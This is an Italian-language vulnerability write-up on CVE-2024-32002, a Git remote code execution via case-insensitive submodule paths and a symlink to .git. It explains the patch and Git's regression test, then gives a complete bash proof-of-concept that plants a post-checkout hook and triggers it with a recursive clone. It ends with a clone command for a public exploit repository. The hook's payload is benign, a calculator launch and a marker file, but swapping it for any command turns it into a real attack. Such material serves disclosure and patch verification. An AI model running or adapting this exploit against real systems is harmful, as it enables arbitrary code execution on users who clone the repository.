Attacco di Remote Code Execution tramite git clone (CVE-2024-32002)

Contributore

• Jeongwoo Lee @Roronoawjd

Contesto

Questa vulnerabilità è una RCE (Remote Code Execution) che si verifica quando si clona un repository Git che contiene sottomoduli su file system che non fanno distinzione tra maiuscole e minuscole, come Windows e macOS. La RCE è una vulnerabilità di esecuzione di codice remoto molto critica che consente a un attaccante di eseguire comandi arbitrari sul sistema di destinazione. A/modules/x e a/modules/x vengono trattati come lo stesso percorso. Questa caratteristica, combinata con l'uso di collegamenti simbolici, causa la vulnerabilità.

Informazioni sulla vulnerabilità

• Questo POC funziona solo su sistemi Windows e Mac.
• Se git config --global core.symlinks false è impostato, l'attacco non funziona.

Analisi della vulnerabilità

Verifica patch della vulnerabilità

builtin/submodule--helper.c

Funzione dir_contains_only_dotgit: controlla se la directory contiene solo file .git o se contiene anche altre directory; se sono presenti altri file o directory, restituisce un errore. Funzione clone_submodule: prima di clonare, verifica che la directory del sottomodulo esista e sia vuota.

t/t7406-submodule-update.sh

1. Configurazione globale

test_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&

• Questo script imposta le opzioni di configurazione di Git. protocol.file.allow always abilita il protocollo file di Git.
• Imposta core.symlinks true per consentire l'uso di collegamenti simbolici.
• tell_tale_path viene utilizzato per verificare che la RCE abbia funzionato correttamente.

2. Configurazione hook

git init hook &&
(
  cd hook &&
  mkdir -p y/hooks &&
  write_script y/hooks/post-checkout <<-EOF &&
  echo HOOK-RUN >&2
  echo hook-run >"$tell_tale_path"
  EOF
  git add y/hooks/post-checkout &&
  test_tick &&
  git commit -m post-checkout
) &&

• Inizializza il repository hook.
• Crea un hook chiamato post-checkout.
• Commetta lo script hook nel repository.

3. Configurazione del repository principale

hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
  cd captain &&
  git submodule add --name x/y "$hook_repo_path" A/modules/x &&
  test_tick &&
  git commit -m add-submodule &&
  printf .git >dotgit.txt &&
  git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
  printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
  git update-index --index-info <index.info &&
  test_tick &&
  git commit -m add-symlink
) &&

• Salva il percorso dell'hook.
• Inizializza un altro repository chiamato captain.
• Aggiunge il repository hook come sottomodulo in A/modules/x e lo committa.
• Crea un collegamento simbolico chiamato a che punta a .git.

4. Test

test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"

• Verifica se la RCE ha funzionato.

Creazione del POC

#!/bin/bash

# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main 


# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"

# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks

# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "I'm roronoa" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF

# Make the hook executable: important
chmod +x y/hooks/post-checkout

git add y/hooks/post-checkout
git commit -m "post-checkout"

cd ..

# Define the hook repository path
hook_repo_path="$(pwd)/hook"

# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..

git clone --recursive captain hooked

Git ha un meccanismo chiamato hook che consente di eseguire automaticamente script quando si verificano determinati eventi. Si trovano nella directory .git/hooks. post-checkout è uno script che viene eseguito dopo un checkout.

La sequenza è la seguente:

1. Nel repository clonato git_rce viene creato un collegamento simbolico a che punta a .git.
2. Durante il clone, il percorso del sottomodulo viene riconosciuto come a/modules/x invece di A/modules/x.
3. Poiché a punta a .git, viene creata la directory .git/modules/x e al suo interno y/hooks/post-checkout.
4. Dopo il checkout riuscito, viene eseguito automaticamente git_rce/.git/modules/x/y/hooks/post-checkout, causando la RCE.

POC (Proof of Concept)

⚠️ Attenzione: non utilizzare questa vulnerabilità in modo malevolo!

git clone --recursive https://github.com/Roronoawjd/git_rce.git

Nota: su Windows è necessario aprire il prompt dei comandi o una shell bash come amministratore.